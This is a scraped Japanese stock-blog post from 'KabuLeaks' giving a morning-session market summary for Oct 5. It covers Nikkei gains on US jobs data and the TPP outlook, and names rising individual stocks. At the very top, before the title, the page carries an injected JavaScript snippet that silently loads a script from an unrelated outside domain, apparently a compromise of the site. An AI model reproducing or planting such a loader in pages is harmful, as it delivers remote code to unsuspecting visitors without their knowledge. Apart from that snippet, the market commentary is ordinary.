;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/5 前引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【10/5 前引け】

前場の日経平均株価216円高と大幅続伸。注目も集まった米雇用統計は市場予想を下回る結果も利上げ見送り観測から米市場は大幅高となり日経平均もこの流れを受け買い優勢の展開。また、TPP(環太平洋戦略的経済連携協定)が大筋合意に達する見通しとなったことも支援材料となった。一巡後はやや上げ幅縮小しているが、日銀会合での追加緩和思惑への思惑も引き続き高く底堅く推移している。

個別では、TPPが大筋合意に達する見通しとなったことから【2901】石垣食品、【2286】林兼産業、【2266】六甲バター、【2060】フィードワン、【2538】ジャパン・フード&リカー・アライアンスなど関連銘柄が軒並み上昇したほか、DSファーマアニマルヘルスと、高血圧DNAワクチンの犬の慢性心不全への応用を目指し、動物用医薬品に関する共同開発契約を締結したと発表した【4563】アンジェス MGが一時急伸した。また、「慶大の工藤千恵専任講師とファーマフーズの研究チームが、がん細胞が免疫の働きを抑える仕組みを解除する手法をみつけた」との一部報道から【2929】ファーマフーズがストップ高となっている。その他、【1433】ベステラ、【2342】トランスジェニック、【4576】デ・ウエスタン・セラピテクス研究所、【4592】サンバイオなどの上昇も目立っている。

後場も引き続き堅調に推移する可能性は濃厚だが、。市場では「経済統計の低調さを材料にした株高は長続きせず、いずれダウ工業30種平均が下落して日本株も売られる展開を想定しておく必要がある」との見方もあり引き続き警戒だけはしておきたい。